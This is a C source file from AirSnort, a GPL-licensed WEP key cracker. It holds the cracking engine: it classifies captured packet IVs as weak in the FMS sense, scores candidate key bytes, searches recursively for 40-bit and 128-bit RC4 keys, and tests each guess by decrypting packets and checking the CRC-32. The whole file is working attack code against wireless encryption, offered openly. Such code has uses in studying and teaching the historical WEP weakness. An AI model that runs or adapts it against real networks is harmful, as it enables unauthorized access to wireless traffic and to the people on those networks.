/*
    This file is part of AirSnort.

    AirSnort is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your option) any later version.

    AirSnort is distributed in the hope that it will be useful,
      but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with AirSnort; if not, write to the Free Software
    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <semaphore.h>
#include "bssidlist.h"
#include "crack.h"
#include "crc-32.h"

extern int breadth40;
extern int breadth128;

//deallocates a linked list of Packets
void destroyPacketList(Packet *p) {
   Packet *cur = p, *next;
   while (cur) {
      next = cur->next;
      free(cur->buf);
      free(cur);
      cur = next;
   }
}

//Deallocates a linked list of Samples
void destroySampleList(Sample *s) {
   Sample *cur = s, *next;
   while (cur) {
      next = cur->next;
      free(cur);
      cur = next;
   }
}

//Adds a packet from the packet queue into the data being maintained for
//a particulare access point.  If the Packet* contained in the queued node
//is NULL, this is actually a signal from the gui to stop cracking that 
//particular access point.

int addCrackPacket(CrackNode *ap, Packet *pkt) {
   int isInteresting;
   if (!pkt->len) {
      //this is actually the signal to destroy the cracker thread
      free(pkt);
      return 1;     
   }
   isInteresting = addSample(ap, pkt->buf, (pkt->buf)[4] ^ 0xAA);
   if (isInteresting != -1) {
      (ap->csamples)[isInteresting] ++;
      ap->data->interesting ++;
   }

   if (ap->ksamples < 10 && pkt->len > 5) {  
      //test for len > 5 to accomodate load from file
      pkt->next = ap->pkts;
      ap->pkts = pkt;
      ap->ksamples++;
   }
   else {
      free(pkt->buf);
      free(pkt);
   }
   return 0;
}

CrackNode *newCrackNode(struct BssidList_t *owner) {
   CrackNode *ap = (CrackNode *) calloc(1, sizeof(CrackNode));
   ap->data = owner;
   sem_init(&ap->pktSem, 0, 1);
   return ap;
}

void destroyCrackNode(CrackNode *ap) {
   int i = 0;
   destroyPacketList(ap->queue);
   destroyPacketList(ap->pkts);
   for (; i < 13; i++) {
      destroySampleList(ap->samples[i]);
   }
}

//This is the thread function for the cracker thread.  Currently it sleeps until it
//recieves a signal from the capture thread that more interesting packets are 
//available.  The capture thread sends this signal every time it captures 10 new
//packets for a given AP.  The crack thread first reads all available packets 
//from the packet queue, then then tries a 40 bit crack followed by a 128 bit crack.
//If a key is cracked, the data is sent to the gui thread via the key queue 
void *cracker(void *arg) {
   CrackNode *ap = (CrackNode *) arg;
   int interesting = 0;
   Packet *p;
   while (1) {
      sem_wait(&(ap->data->crackSem));
      while ((p = dequeuePacket(ap)) != NULL) {
         if (addCrackPacket(ap, p)) {
            pthread_exit(NULL);
         }
      }
      if (interesting == ap->data->interesting) continue;
      interesting = ap->data->interesting;
      if (!(ap->cracked) && tryCrack40(ap, ap->curGuess) == RES_SUCCESS) {
         ap->cracked = 5;
         break;
      }
      else if (!(ap->cracked) && tryCrack128(ap, ap->curGuess) == RES_SUCCESS) {
         ap->cracked = 13;
         break;
      }
   }
   pthread_exit(NULL);
}

int checkKey(Packet *list, unsigned char *k, int klen) {
   unsigned char key[16], *buf;
   unsigned char * data;
   RC4 rc;
   int i;
   Packet *cur = list;
   memcpy(key+3, k, klen);
   while (cur) {  //loop through all packets
      data = cur->buf + 4;
      RC4init(&rc);
      buf = (unsigned char*) malloc(sizeof(unsigned char) * (cur->len - 4));
      memcpy(key, cur->buf, 3); //copy packet IV into key
      keyWith(&rc, key, klen+3); 
      for(i = 0; i < cur->len - 4; i++) {
         buf[i] = data[i] ^ step(&rc);
      }
      if (doFCS(buf, cur->len - 4) != 0xdebb20e3) {
         free(buf);
	 return(RES_FAILURE);
      }
      cur = cur->next;
   }
   return(RES_SUCCESS);
}

typedef struct freq_t_t {
  int index;
  int score;
} freq_t;

int freq_compare(const void *a,const void *b) {
  return(((freq_t *) b)->score - ((freq_t *) a)->score);
} 

#ifdef DEBUG_CRACK
//return a string version of the hex bytes held in key
//bytes are separated by a colon
char *hexKey(unsigned char *key, int size) {
   static char str[50];
   char *ptr = str + 2;
   int i = 1;
   sprintf(str, "%2.2X", key[0]);
   for (; i < size; i++, ptr += 3) {
      sprintf(ptr, ":%2.2X", key[i]);
   }
   return str;
}
#endif

int tryByte(CrackNode *this, int which, int breadth, int keySize) {
  freq_t freq[256];
  int i, r, r2;
  Sample *cur;
  RC4 rc;
  if (which == keySize) 
     return checkKey(this->pkts, this->curGuess+3, keySize);
  for (i = 0; i < 256; i++) {
     freq[i].score = 0;
     freq[i].index = i;
  }
  cur = this->samples[which];
  while (cur) {
    memcpy(this->curGuess, cur->iv, 3);
    RC4init(&rc);
    r2 = tryIV(&rc, this->curGuess, which, cur->firstByte);
    if (r2 >= 0) freq[r2].score += 1000;
    if (r2 >= 32 && r2 <= 127) freq[r2].score += 5;
    cur = cur->next;
  }
  qsort(freq, 256, sizeof(freq_t), freq_compare);
  for(i = 0; i < breadth; i++) {
    if (freq[i].score == 0) return(RES_FAILURE);
    this->curGuess[3+which] = freq[i].index;
#ifdef DEBUG_CRACK
    if (keySize == 13) //debugging 128 bit keys
      fprintf(stderr, "Trying: %s\n", hexKey(this->curGuess + 3, which + 1));
#endif
    r = tryByte(this, which + 1, breadth, keySize);
    if (r == RES_SUCCESS) return(r);
  }
  return(RES_BREADTH_EXCEEDED);
}

// determine which key byte an iv is useful in resolving
int classify(unsigned char *p) {
   unsigned char sum, k;
   if (p[1] == 255 && p[0] > 2 && p[0] < 16) {
      return p[0] - 3;
   }
   sum = p[0] + p[1];
   if (sum == 1) {
      if (p[2] <= 0x0A) {
         return p[2] + 2;
      }
      else if (p[2] == 0xFF) {
         return 0;
      }
   }
   k = 0xFE - p[2];
   if (sum == k && (p[2] >= 0xF2 && p[2] <= 0xFE && p[2] != 0xFD)) {
      return k;
   }
   return -1;
}

int addSample(CrackNode *this, unsigned char *iv, unsigned char byte) {
  Sample *s;
  int loc = classify(iv);
  if (loc == -1) return -1;
  s = this->samples[loc];
  while(s) {
    if (s->iv[0] == iv[0] && s->iv[1] == iv[1] && s->iv[2] == iv[2]) {
       return(-1);  //if we already have a sample at that spot return
    }
    s = s->next;
  }
  s = (Sample*) malloc(sizeof(Sample));
  memcpy(s->iv, iv, 3);
  s->firstByte = byte;
  s->next = this->samples[loc];
  this->samples[loc] = s;
  return(loc);
}

int tryCrack40(CrackNode *this, unsigned char *result) {
  int r;
  r = tryByte(this, 0, breadth40, 5);
  if (r == RES_SUCCESS) {
    memcpy(result, this->curGuess+3, 5);
  }
  return(r);
}

int tryCrack128(CrackNode *this, unsigned char *result) {
  int r;
  r = tryByte(this, 0, breadth128, 13);
  if (r == RES_SUCCESS) {
    memcpy(result, this->curGuess+3, 13);
  }
  return(r);
}